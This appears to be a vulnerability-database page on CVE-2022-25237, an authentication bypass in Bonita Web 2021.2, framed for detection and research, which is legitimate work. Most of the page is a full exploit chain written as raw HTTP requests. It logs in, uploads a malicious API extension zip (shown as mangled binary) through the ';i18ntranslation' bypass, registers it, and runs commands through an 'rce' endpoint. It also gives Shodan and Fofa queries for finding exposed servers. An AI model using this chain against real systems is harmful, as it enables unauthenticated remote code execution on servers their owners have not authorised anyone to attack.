🔙 목록으로 돌아가기

CVE-2022-25237: Bonita Web 2021.2 - Authentication/Authorization Bypass

TitleBonita Web 2021.2 - Authentication/Authorization Bypass
AuthorSourabh-Sahu
SeverityCritical
ImpactSuccessful exploitation allows unauthenticated attackers to access privileged API endpoints and potentially upload files to the server.
RemediationUpdate Bonita Web to the latest version that addresses this vulnerability or implement proper access controls to restrict unauthorized API access.
CVSS Score9.8
EPSS Score0.92632
CVE IDCVE-2022-25237
CWE IDCWE-285
Shodan Queryhttp.title:"Bonita" || "Server: Bonita"
Fofa Querytitle="Bonita" || header="Server: Bonita"
Tags cve cve2022 bonita auth-bypass intrusive file-upload rce vkev vuln

🔍 Vulnerability Description

Bonita Web 2021.2 contains an authentication/authorization bypass vulnerability caused by an overly broad exclude pattern in RestAPIAuthorizationFilter, allowing unauthenticated users to access privileged API endpoints by appending ;i18ntranslation or /../i18ntranslation/ to the URL.

🌐 HTTP Request

POST /bonita/loginservice HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Length: 39
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=OKgmeu&password=BqHzD5z5&_l=en
POST /bonita/API/pageUpload;i18ntranslation?action=add HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Length: 15139
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Cookie: JSESSIONID=GagZvR; X-Bonita-API-Token=8VENgd
Accept-Encoding: gzip

------WebKitFormBoundary

Content-Disposition: form-data; name="file"; filename="api_extension.zip"

Content-Type: application/octet-stream



PK
�K�T	META-INF/PK
�K�TMETA-INF/maven/PK
�K�T$META-INF/maven/com.company.rest.api/PK
�K�T8META-INF/maven/com.company.rest.api/resourceNameRestAPI/PK
�K�Tlib/PK8M�T~v��page.properties}TMk�0������Խ�Zw[�!u�ò,�<��Ȓ��4���}��ե�C��Ѽy���ʆ)�l��B�-��)�t^��4�=����ξ�>������m;��	t.t׈Kӷ�$�'d`��]�����F���|A�T�s\��yM_$p'���xi�GG����'������&�S�|��@�$�3����6/��"eܲ�Nu��'�p)߫,�€
��Aѩb��֑�TDi
�C��8?N��Z8`�,�k
��?������A����b<:��)��@��l��UKL�|�R����Vk���S����_Sˡ�դ�)^�	༿S:�L���V��'�~�Sc�e9�%�7��m�[Qnf�/�{�oZ��on�Ǣ,6���v�<+��^6�|�y��<(ƙD=�The)t�'�ϐ����!�"��^'W���`Kە�=�>�2��c;�Z�a?�.�� ��^��הeW������e��;2�P
�[��
�97����Q�H���)��f2��Yg�f����ߊ�CM�;�ǃ�){�Mhm{j����#���mоVV�#�J@��MhZ�ʠJY��Qߋ]�����,�H��/*B�m��Q/���aB���u�բ�B;��8]'��ۘ�'����;��w8E҃��U/#�$�%q��tP/�X[���)�C_);������=�����������al�Ôv�����f.�"�e�PK*i+T�ȁ��F?META-INF/maven/com.company.rest.api/resourceNameRestAPI/pom.xml�Y[��6~G�?�SZ��wv�@(A�����R����I<3^�8�������e�Ĺ VB�4c>>����x�g�i�����gOKt��h�eۧ�W��������\�k)��|��)�?�8%{�!��hG[|�~��-� ��J֠onn�͙����,�_����0%>ˤ"YD��y�V>�f�-��2�Mn�
!ne\����",wR��ϒ��L�5Vᶂ��8�x��N�T*؇����D(�!����BD�I�����	�5_���.�������
�Ѣf '���U�ͷj4�2,�D��.�<��S�KIF�Գ��
n䂍s
jQ�����J3���=~M�5:/�����u���Z��|,4.�Q�C��9M�-��5$og�,}��Y�D�m�H�
�A��c�Ci�Qx�e���1E:ԭ͠/�Lh8{��g���{��`�d���qq\v
�����Hw@l����"�Gۢ��
j����	߮��)Yd�>Eg���t�<)��:�+X�K��KP#�=F��>����k`�t�϶��݅
�QDl���S�z�zh�N��덃z�d!�	���S�W�BY�*�Q�rIz-�i��`��DE;K�	z�,{۰&u�V�j2bN��������f-›y{U��gj�M�����*��M��۠�����H��<u\����|vg�/�}�[�9
s����@�xY��&�
�Cn1c�;�v�-+tm�u��s�,C&���!s8Lh��*�i
�5*����,�q��a��.*�#�De�9C+גgw�y�&�*��G��K��^�=�{\$Tzl�Ƨ�I��')5�����-!�.��,�Q�]�Tvh����RJ��[7�O�s�-�T���P�Z��B�gp�l^����XWw�x��@O���Q�6��0�/h���e6nD���q�U?�-�;*�G�Fdء�Pw0жE���:��-j���x���|?�b��G�M��3�Q����
g�eSX�����⃗wE���|]��Y봜�V��x|�
�~b��\��b�)*@g*�j�2
���;�u�6��<�����r5}D�:?q��>f�;-ϼ��Iwr�^Ev���)�նyِ"Q�9IBP�mz�q�n=Mc�n�Hqq����`��.�Z�տt����z��e����y���3-�y�zS*��J�X���
g�5Q�w|d�io���p��:{dw�&�H�����M����E<۰m!�r*P)�X�w��[����j��W��4�̆����|�O;��F��Bo�6*	�<�wg�<c|35�ǐo��y/'݉c8�{�y��ڈx��XzK�BG�`�4�1�;"�$�{R!Pa~��
\�C;�@���,��E�˴�S"g%�\?�sѽP|n���1_���k��9�/�ؓ�ڻ�W���8�.���c4�J�x̨��'�ތ�K��o��?PK�K�TV����FMETA-INF/maven/com.company.rest.api/resourceNameRestAPI/pom.properties
��
�0�@�!�ܐĩ�C��:Ԇ*t~�g�`�Q���;��c@������	ΪOQ�H�Z�kS�F+�n�0��~����WYHNI�e	�s��S.C�q�	{X�]�:�����j����u��5r�PK�K�TeO:M�+.2*lib/resourceNameRestAPI-1.0.0-SNAPSHOT.jar�zP]˶-n����]���ظl�-܃��A������!8�s�����s�����]�z�sVϪ�c�^CM	�c_1N�w��T��g�W�aS����/3�y��ͯ��_��f��*�2ҚZ��2���cJ�,��(�,����F
�9��=Wf�0�"��n�N
.�7jﶜ
,E
M�\�Zl�7��\8�Xc�ر��7�>m9
\n
�>��5C�^d�!���B�, 4a�P��
��i0�&�ɑ��-��e�k:�}��%Ɵ,]-����9�_��9��.����&~����A@��Dha�M������B����B����	�f������j��
p0ss�յ�%��B�&*���.HA9���t*Rɗt�w�4��r2��;��u\;h�h�K��q:V��(D&V�8���x�8	X�z�y�蒦֍S����
PH����9�Rl:mL�F㪀#	f��pK��e^�}��gX����?{e����nq�Y�"���֜�SSg��F><��Ee��qVh������Y���V��qH�)r	�M"4~/+�r���ߥ#.�۶򻃏�N�+S�m�8�Wx*)[q��3��=b^�]ll4����`T ׌Oee��R������p��Hf��y|��mI&��%Y��f�$?�d%�z�`�����ѤS��p�Y�5j�;Yy3���)���P���@yy�&$����FW������V��o�*��շT���7WU���ÈP"��A�#�����E��UCZ��X�'������]!����B랽U6��!������:臘À����
��OM���F��?���.�C
��heZ���sq�j��d�{n��V+|9qm���WÍ��&�[���9�4�M��Q+˯���m��L��	�8F�J�A�����=�5|jI�'U��SE��/>*�Q��PW����G�U;�拼�GV"�V�B��<��C��@�^��.��I��*���+��@�p��П��I(ÍM(
K>Y���~�ۖ,ٯ�b�\|Q�;l�����'<���yZRF̪r��Ĺ�+��;A[-�_q�2�&�����e���0���IH�����yM���0�Nu��8��Y���u>8�4p&2����@ ��S<����}qs2��C�ĭ�d����H��y�%�n�N���0�C�����p����043�o5�SQ���9埬"ᖯ~.(�����1,<]�f��Rq�z�T�����K�O8Tv���������Y_$��R�%�݈�]�K�ƨ�'T�
�EA��Jo��H_����B�wu>��]"�i�w�;�&�W䤘��	�,�B
{��:�쵅�CS���a0��]�D���e쟏
0�������rL(�a裫#���a���=�7}�_O�F	,��<Hk�$rM�=lVyn&�D��(��ϴ�Դ�#���1�O�0��S����F���m>�\^!7\?�[@1ߧ��
���(�z�.��[�$��ae�r�P�����4�˷T�g�Q`�%�7q�v���ێ�5@n�U���C?faB�Y�(���4=��G���BkB�H4�,�)y?����9��\i�+>rmI�� �-$"sX�0� �8��F�~Ŋ�hp�[��!Y��Y7����}aq�K+�[^��q��}�6��WR�9u*	=B���ʪ�ib�BM&���%K��rU]�˺f�^@�Ŀ��ik���_Ikf=���[��,��>#�Fj�ʟQm�`���l{����*�Ϧ�
����'��w�������7���8�%��޸�/�}�xL6�5�=:F;K{z'��\�l!q��~�5��u���i���2���S2�8^XF3AbS�:�.�j�B)B��<,��HQ�Ǔ����-	�}�oS�?F�'XbM�N��	=i�Q�hGmv���M����]�8W�N|��S�:��>3�8���X_.8Q�_�5z[o�K]E,2@���7?
�Pv������R�����I2�_�!�G�#�BR�"�q����́���T{],Y�@ZHܾ*|�~�Z�Tj���7vaޒ��
�c�-���g��j;���[�C15G�ۓr_����3�F"��λ�V��>l��?�/.��{�s��U�C���
����	h����Ǐ` �R������܍��s�ze>W��uXW�~���SVX%�CtME$��5E[���D����
��&���B�Fd���*S��c�d>JyHZa{��~+V�~&��s߂r����J�8�<
��H)o���e-������%:m��p�箲"x=�=Gbt:�H9A)�������sGB!%`�M�o��I�8lI`<6t-|�pr�Q"#_.ߧ�kQ�R��-�LGy��d�yM�| y�# �[��'D�%_����9.o� *�{ĩ�dڃ�vB:̈v���22�$,�`Qi�D�7+�zO���N9TZ��޺�{�*�Fɼ1�-p(H�"i�В��.	�g9&��k��%�8T��k�����5	�6�~���6�>�������X�0��1G^���[����C�,R����6��B�����у>������%?��[Za��-�����K5->Ac_Jp�j�,�(�]�ױkĊ�6���ٜ�`?����e+�Q9%+$0�n�Y��3�6��s	��NSsR�HAݿ�E���!ҡ�Pz_Ψ�oA�s�t�,RJR���]3�C4<�
�;��~YI��h\))�.e��$�H��+������h��+X��"��^�7�Wq49��$�{�
�8�]\{\{N&9�	���$�E|%����86�
jk�B�;��i���a��^8����f.�k�_�ˁ\�v;Y�{�Ņ�.�װ��ʍ��UJ�{z)��"�=�?�=����3F���ٵFi�Qb0�'�%�,��CJrN�z`��5�k)>����5���Ps�(�F�)��A;!r�yYv�a�"�IH��aGU�m`5�C�ݾ�������=��@vHk����f���-��`ƭ�B��&�\���{p�9��镇����k�
7ؕdyy
_I�M^��Z=�))�"9�g��5�3����}TD�&�ː2�C�����M�H��~Z�"Y��I��T�z��E�QW�@دoh�\X�$3\�Ϊ2?ڨo���RY�k��ok������b{&AS�����ժC�˼%��
+#ĕN
�f�Ox��P��fU�q�ƚ���D�
Q˱�{���h��Z���c��-���Z˸�a)��f��c��6w�d���Es����ar+�ݦr;�0�;����4O��d�0��!��j���m�M5������br�
;J�:���Q�Dz�2�Q��x��`�����?A�����-0�6�9:�j����lV:FMl[�_bU������jt��E�:"�j�����8w���
T�Ó	�˝��T��p��'���$��y������i�+�uZ7�
�w?������\<��#׆"�H�^�n���·����Nlr��6���;ÒFdT����q���P�'��q��^R>mjʷ7"L��	��B��q�ʺ�a! �~����qp2�Psur�tu��t�/���'����z��`w����Z44��5�#"G�d�Tp֟��3�=���EUO��|~r�vt����6�����J��ʗ��T��X/��s�&��W����
b�J�c��ᦺz���eU}��S,�e �vU��c��B��!��V{��#f0�B����BK��h��,�l�J��3_��y�P�o�ިmX��V�+E`�w^`=Z bNrҘZ�ZX��lF��]�ZA:8���fCe��W4з<��^���=f��Zy��4S`;�k�)�$���G
�	r	�<�(z��I5�1����ꨧ�좫�|�P�@2E2�\�v�>fu�.[���зO\�XW\��^��w�>�p�0����7e����y;q���J�9�Cv��?�?����
&�B��R��!?���V��	�G��Dz�;�\�!cX���$���UHR1�i�r����& _*B
�����-!�%N�!V�;�k����G�k��?A����S(�sޔB�X"S`I�Cg���Bjȹ��-e��_"�zl��jr~�{	�.[1���k_=vHE �\���@�}���9c��+�L�a����*�Ĝ{��l|�����H���黚gR�*�X����I�qvb��&�&��A�C� ���j&o9�I���;�.ö���Z|Ж��Bݦg��y�'4ɤ湪��$���d��-!���	�d�`d'@�Y�
���{�x��OH��u�P���"J�_�v��:Q�I
�ó�b����)�:�UkY���4\��~HYX{����+};�ݤ�V�=�rۏ�:��i�%Ҧc:N�}5��8Q���F�Ȱn�X�%C���|K!#�
Ck��I�o��q�Z��<h�T��׼�'�Ba�P�j���f��xt3��b�&��9��&���|�p������l<Xj�o�S�A�������^�Z��ɫ��	�Þ�c�᫒�(4�q�
 �,�e�E��������}�h{�"��z��)2�y�Y��LY�0z)DNU��VU	���{~�s�JyY��g�a�����TF�{=����$����*2��JGx)�&�#��]����M��e��I;��o�$��
"ly�:Ee����	͔P���,��A����.�X¯hD,�8��i��t��R��gvE��"�[�>TK����a��Y��"Nɓqo}��AW�٠|jAl�l ܊x�4<��Z=h�se�:�-n���k�Z�y�$
?��D�u��kj
��>��
���5�J��?�T�v�r|
9�z����|�Iχ(�=�
�$I�#c;"E�g���[D�|��n#�Y �'85M���<�<������(	��D>%9��u�����N�nf��vٯ`�p�y�0��F��)d/ک��ٻ
��YB��g-7d��� ��?5���<��Y�{����n�G�6��x��!����X����M���15��C�f�?�A��Y�t���›PD s�����A��2S����Pb��ׁ�]k�Φ�W��h�hK�2P<O%�K��w���<7���gO�n�B�j�����%�Ӟ�X.9��Q"��|�+���"�#���;���`��R�n��B�u�v0�(z�
�5����"���%wK��qHϾ�Kw��F:^��%�~�`=L���y�Cv��

G���g�-�IK1�r�ѷ�iyq(c��CyTץ(\�cX�Yq�J;����HB������嶜�Cո���t�V�������+�3Kǿ�0�&09d��yv��b�@��_9llk��7,\�j.N���9K�
/X'-9.��r,�O��爟ƚ�dQV|[�W�D�шD����mK`��a�&#a���qQf:R���Q�qg9��"���H��\�����h�y\�-�U�N�Xf�eAb�s��F��^��^N�0�̘a�#�+���}B������o�f*P������ٰ �b�G��d��Ӧz@�As�|w��{s�wK��`ݟwC��谉�u�E��/��Q�r�j�M�RH)(�T[��ꉂm����B�9$�ݖ0[Ǘ���f�ekH�5��Āxҭ3m?~7l[F��7u�E����P�8���T	3X�\��8]�ŏ�g�HJ�x�b�BT�m�Ħ-<��$Ln��a��#jau�'W�>`^�b�H�͈%�+9��R=:N�M��b�g���=~8�B9c�S�VwZ�V�G��`I���N����`�.v&����D�?�g��lIe*�T}~�bEoN�U4`w�O�k��wpi	������M�<H��a�+_�1�L8D��q�ѬC���U�dv{��J�jh=Ǻ����M�0
Q>mm��yN��0�����%c캠)ྰ#ab��sm��c��ښ�Nqs3u�֒+"���s��]��i��'�1?-%U�?�\�^u=��sW�p�FMC*$�3���~��x��v�q��ՀG
G��4N�N�df�v���E�S����;1���e�7�����	J@�ZɁ~e�B�|��n�Ww0<6o��!\�ǶC�T�f��z�q��:fz�|����S��<�R��K�v!P�3g�d�����F�4�&����'�_����<D0PT�8V���u
��(�a#r��[ʌ'���&xI23ǐ��	M��joy`����b��ْ�o[��l��*���;l�;GP�*�^e�n#�	Su�D��?�������`/�Ds�J[ǒ���1";<�z�g��]`讹�E������bߚ����a�υ��u�(]��A%�Hʀc���Ο�Ln��l�l
8=�_���$��O�/w��.o��&�M7k_�?D��zl2|[��{I�&[���w)���^0���u	����k�B��0���D ��:�-=u�Z����8�4&�sz���>�=݃f�+A�F[��sS*KOz;�+�F��;i�\0\w/�k�5�;�g����:��اQҁ�M'��WVr�1;���u;DH�F�iPc�m�e.��R-�ʓf���gf3���H �O	l�lmg^V�OOl��D+d4w�;y<����p�\�v��?*&��;�	��K�p�Y�n����o��ӣo��:5pxH3+7���E�f�%����Hּ��g�z �jrk3�;=�ꠘr�Tʆ�5����1X���j�lO���ڑ*�+��g�
�����h���8�P���Y3����WI�$1w���m���֕�ު��beNY��w�V�Ji�9�:�M�c��[8W4F�JLŝ#7��1��Xe���*�j�����y���asMM��x?7�� �+ݛB#�c��m*�ϗ, �g��RTͧ�3����93��F�K���F)��i���,H[�����N(M0(ž�d�,K��y�89YE���ז�o�IYཱ�Vy�b�t��h�*z�m���Ci���"��""I�_Nh�e�)��F�!P��
}kc���q��&��`qT�t��w��2z���akTs�<"Zh�E������S�9�\fqC�I��շ�EDS��Ժ>h��ԇ���,�ƕ+y�ƸW���-�Q�����"'r�iR������8�^�U��O�޸��^�
hpK�:��E"违��E�����n��7H|7
!$�H�PL�ߺ�=���lOX-Q�+U	a��9�C�~i���z���rv8��=��v���'*;i��a����h�9}�y�X�jɓڬx�꼩���a.�,ÙՌ"z��JhG�}\"�ͱ7����F���z�hG��\s7Z��j�9e_$��iSk'���A��=�b�]v��L�9u$�A6ˠ;Q� �5�����ҧY��z;+���6ӑ�m6z�\�� ئit[���d~���UbÓ�N��	:���g;���5C�vk��߄��R��{�﹍�e�w��Z��R}R/��k2��AԮMwW�z������!���p1!�ߐ�P&)��ޢ��|�ڑ����kk-�����;頭A�b��c�x����!U7��tm�0?4�����=��;"o6٦*X��Ilm2ʟb������"bp�s�;��𮶰$�.?ƫ=��+ш���{b$ �b�C
Y	@s]��=��5V��݆	��nc|Z&�i(�G�͞4){��7Y�@bW
��_����7�SR~	��\���ȅ���;��r��k/q��>�����p��{���U�0~���7��]Q����hnv�]��.e@[I9H�i#S�E�Ԯe��C6Xݸ,�J�=g���6[#��;]���4���v2[�kI������5uk?�G�U�����3;���Lh���5�Kw��C棁H��I�UK�,.�����jz	d��O�N|�
�'��In��.#En�.�R:���,|r�:#
�\��fяn���X�'n��՝��S�S?^L/��V}��s@"���A/1�5��)_K���<����h�	Sm���x\�o�/3+}�4�̵F6��V�~��`p+"�Э����̅P����rR�~�b7�;úߢ���c0����Ų��UH]��Rc�������)��Η�V��ϲ�|����/"�x&��h1��0i!q��t���ЄD3��KS�T�|��K��n)7����ij�)�R��	����,��sV����_��܋�����D�~ƀ/��Y����g��s�M5s���
^�,��7v;m��?4u
6�1�^C�_}j��L�DC%�MU*'"X������=�R�6Q��Iu���fRJH��NrbN[���t*
w'��~���咸^�ۃ�� ���@�����ڒ������z�v��;ΰI��R�\�aK���x�Y��ҤS�p
9����	t�F�˒1T>��q��I#��MIE�,v���CG�Ɩ���Q|yM�2h���GqG�R3sʥ�w�4Ue؀��Tj}$��C�Ǥ/�	>�q����E
F(;~�x����_8�a��?ZZ0=(z�քC�#v3�~���}� ���Y��E!��b6�@Wk'�����a�2�O�

�5�8ZQ�L)|m{Z�<F����r󖼘���N/Ԙ�T�̵.#���Z7.`���a��|�[>:0�pC"͞q��(���zU�D���fU�����sJ}L�-Z�lʢv�l\�x�0��Z8���T:�ߣ�t�v��i,��gD8s7,�1�8���NYkb�VG�Y�_��W;�??�]ۥ����#��m2Ë���k��ϋ�o���Ӱ�
�r-���:|��j�.4Q����}��kd��B��
�1�7�eo��1|$�:1�߻\˟�m������W�K��K�y��}\I���K�j��s+u";�"�
�x��i��2�O�S����2�v����B9.
�j�=TN���3�LQ5��:��*��-�[��.sk~.���en�y���fO���Q���%2!
m
�c��
�ݚ�N��\�c�5��52����g����%خ5��}������ą���Yq�
^SǪ��PK'�A�\�v��(n#�<�TLT�;�T�hj� ��J(�V�o�Sh��D9�yZ��ޘ��Y�u������+������ï'W������Ư��j��#1�2i�,�B@�A@��/�:�2�vt��7L�����+�$5�l��|K#^�<��T��)/�e�Ŀ:�G��9���o#ב 	������?X��n�U&�Z��)�����ʰ\-�A��~N���}�1��'d@���o_bH���ˢHJ����3�
#+�b$�+,8�S�=�y9�W�[���iD�J(����/|n�uD?Z=�$Dr>)OP(��F�Op����^o4Hgw'�>L)����l5��=f��zGo�|���b\��mͫ�&E�L�1�ۥ��
���f~~7b=ϻڊt�&�׽��A�H�]�EPV�tg��'Z��81�����X넗5���2�s���(�ݐ87$;u�3����
\�]"��w0<�l�`����'=I��U��ܬ��걒i�ʍ,�a�ox��ЭG�J��
��R3Ď�rQHh���8р�I[�Mu�	�>�<i��ډ�h�76�~�i�+�pe~��L/�-2���\\�<�@0]#��r^o�Q��N(��dW��0_��n�k�7>E��3�[���,!I��I�ܛ���˙��"H+.ը��Ed�FE?�ٛ�o}�l&�<[CS�r��J���-���iWA}�%8���;cAq���W���C$��͈V���*O��rKj{[fڇ�(%-�F�=�g��\�����9��4Wi����7��-Ŋ�7��O;�����L�9�+l��#�we�ƵՂ���gr���Fȵ�#d���Qlwӆ��(n�1��o�����fiw���%����(�P�i&w��V��6�)fIڶ�
7~%H��u�,[��HƲow�e.��fy�$����TaR�0��8L�I�^>c�A�P��d���P�L�E�����|�Sˡ����1��f�F�̰P<���0��hyڔ��aj(����T�*w;gI�:Ū�W[0�̖8?�ʶv�t 5��^�����:��n;�x��{=�^ɛ����ͦ�d�ܒ(���r�-��_)�x�-/c�THR���>�,�4�-F[E�k�-�λ'��_�ؼ��l���0W�z���
�u���^�������t/��>��2��/9�:Sw��;�H����Fe�u��i�o��^�z9�j����	ex��v�z�Zs�	��s����Lv|@���r]1���i�b��o�YN�T���P{����2Q�`_�\\J#:M	>���~3���v�Yܙ�ū����߮���Y&h.#�b!��)��d�ڦ��׶q�d=ģ~��o�Ŗ�	����ֹjU���k���{��)����A�r�$�ή��j�#E�+4�ã^�W��!~z\��]_���{t<���k��FU�hEffZ�	���1G���zH���S;��7��FL���a��4>�D�x'L��U,���6������,��#РP3�D1��j~[Z�<=)}6�~P�Қ��H��t��?0o{+��]}W��]B��![�R����<ݐo�D�YS����z��+N��.�c!?)��;!_�����uB�ZE��2�K����D�n@���
q���b��_"Y0%8��8o=b���~y��.���6$��!oT���-whPa�y"ô,f�b��M�a��ˡ�ȷZ"�����@i�JF��#��]Ý�PK&���*Kڑ;=�vx\���!����^�ρq&�����Z)�_�$��uӿ�W����@������@�@�Y���H�? Q �R���p�?���
�Ϫ�|��"��|9����T��P֜����]���(�����:�s�?�-L����؟������=��h���?�70:�ϟ�4Q�=��`��	��:��=���c������2�W��o�����:�������-���XMB����1|���PK
�K�T	�AMETA-INF/PK
�K�T�A'META-INF/maven/PK
�K�T$�ATMETA-INF/maven/com.company.rest.api/PK
�K�T8�A�META-INF/maven/com.company.rest.api/resourceNameRestAPI/PK
�K�T�A�lib/PK?8M�T~v��$ page.properties
 *�y]UO���{]UO����TO�PK*i+T�ȁ��F?�� META-INF/maven/com.company.rest.api/resourceNameRestAPI/pom.xmlPK�K�TV����F��T
META-INF/maven/com.company.rest.api/resourceNameRestAPI/pom.propertiesPK�K�TeO:M�+.2*��9lib/resourceNameRestAPI-1.0.0-SNAPSHOT.jarPK		�h7

------WebKitFormBoundary--
POST /bonita/API/portal/page/;i18ntranslation HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Content-Length: 62
Content-Type: application/json;charset=UTF-8
Cookie: JSESSIONID=GagZvR; X-Bonita-API-Token=8VENgd
Accept-Encoding: gzip

{

"contentName": "api_extension.zip",

"pageZip": "1WVmsC"

}
GET /bonita/API/extension/rce?p=0&c=1&cmd=id HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Mobile/15E148 Safari/604.1
Connection: close
Accept: application/json
Cookie: JSESSIONID=GagZvR; X-Bonita-API-Token=8VENgd
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25237.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-25237.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A